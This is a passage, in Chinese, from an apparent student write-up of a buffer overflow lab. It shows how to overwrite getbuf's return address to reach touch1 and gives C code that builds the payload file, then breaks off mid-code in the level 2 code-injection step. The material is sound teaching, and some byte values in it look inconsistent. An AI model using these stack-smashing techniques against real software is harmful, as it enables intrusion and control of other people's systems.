attack实验主要讲了攻击程序的两种方法:一种是利用程序可能导致栈溢出的地方注入代码;另一种是利用栈溢出,利用程序中原有的指令来达到同代码注入一样的效果,比如“mov pop”等。
part I: code injection attacks
part 1包含三部分内容:
- 利用stack overflow修改return address,让程序跳转到其它的地方运行;
- 利用stack overflow修改栈中的内容,在栈中运行程序,并向另一个函数传递参数;
- 利用stack overflow修改栈中的内容,在栈中运行程序,并向另一个函数传递字符串参数(需要注意字符串存放的地址,避免被后面的程序使用栈时覆盖掉);
level 1
TASK:让getbuf函数运行完后跳转到touch1函数,而不是推出。
ctarget源程序包含getbuf和Gets两个函数。其中getbuf函数包含一个局部变量:char数组。Gets函数读取我们的输入存放到char数组。下面是getbuf的大致代码:
void getbuf(){
char c_str[40];
Gets(c_str);
return;
}
有两点需要注意:
- c_str是局部变量,所以会在栈中开辟40字节的空间;
- Gets函数调用的是系统函数get,对于输入的数据长度没有限制,而是以换行符来判断是否读取完毕。
所以我们可以通过输入44个字符去导致栈的溢出,多出的4个字符回覆盖原来的return address,所以把return address替换成touch1函数的地址即可。
具体解题流程:
- 构造字符串:将预先准备的内存数据转换成二进制文本(有些十六进制对应的字符不可显示),下面是转换的代码:
FILE *fp;
char buf[44];
fp=fopen("./ctarget.res","wb");
for(int i=0;i<40;++i) buf[i] = 20;
buf[40] = 0xc0;
buf[41] = 0x17;
buf[42] = 0x40;
for(int i=0;i<43;++i){
fwrite(&buf[i], sizeof(char), 1, fp);
}
- 运行ctarget:
./ctarget -q -i ctarget.res
- 结束。
level 2
TASK:在level 1的基础上,需要向函数传递参数
思路:在栈中注入代码,主要是加入mov $cookie, %rdi
。所以需要修改上一步的return address和%rsp的值。具体生成的字符串结构如下面的程序所示:
#include <stdio.h>
#include <stdlib.h>
int main(){
FILE *fp;
int i;
char buf[100];
for(i=0;i<100;++i) buf[i] = 0;
fp=f